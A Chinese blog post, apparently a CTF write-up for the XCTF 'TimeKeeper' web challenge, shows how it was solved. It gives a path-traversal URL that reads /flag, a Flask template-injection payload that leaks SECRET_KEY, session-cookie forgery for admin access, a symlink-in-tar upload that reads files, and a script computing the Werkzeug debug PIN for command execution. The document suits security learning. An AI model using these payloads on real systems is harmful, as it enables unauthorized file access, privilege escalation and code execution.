刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

XCTF 攻防世界 web进阶 TimeKeeper writeup

知识点

  1. 目录穿越,可任意文件读取

  2. flask模板注入,可获取SECRET_KEY,从而伪造session成为管理员

  3. 上传tar文件自解压,可利用软连接读文件

  4. debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令



目录穿越

http://111.198.29.45:38930/asserts/..%2f..%2f..%2f..%2fflag   #读取假的flag   ciscn{this_is_a_sample_flag}


格式化字符串+SESSION伪造+软连接读文件

代码中class User(db.Model,SQLAlchemy)继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app变量,通过测试可以获取。

注册用户名为: {user.__class__.__mro__[3].__init__.__globals__[current_app].config},登陆后访问个人中心,拿到secret_key。


利用获取的secret_key签名session,获取admin权限


利用secret_key使用脚本计算cookie(工具下载地址 https://github.com/noraj/flask-session-cookie-manager.git  ),获取admin权限后可以添加商品,商品图片可以是打包的tar包,从而利用软连接读文件


ln -s /flag 1.png tar cvfp ./flag.tar 1.png


上传后读取flag

debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令

参考文章:

https://xz.aliyun.com/t/6876

https://cloud.tencent.com/developer/article/1369005

https://xz.aliyun.com/t/2553


计算pin所需要的值为

username # 用户名 /etc/passwd 中找到用户名

modname # flask.app  一般为固定值

getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask  一般为固定值

getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径   从网站报错信息中可以看到,但是要加上pyc   

uuid.getnode() # mac地址十进制  /sys/class/net/eth0/address 或者 /sys/class/net/eth33/address   eth0为网卡

get_machine_id() # /etc/machine-id

这里我们的/etc/machine-id文件为空,所以计算的时候填空就行。

计算pin脚本

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'ctf',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac),# str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv
# 02:42:ac:16:00:02  /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1  /proc/sys/kernel/random/boot_id

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print genpin("02:74:0e:ef:de:c2","")

if __name__ == '__main__':
    getshell()


让网页报错,弹出debug模式,输入计算好的pin码,就可以执行python命令

QQ截图20191211234423.png

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.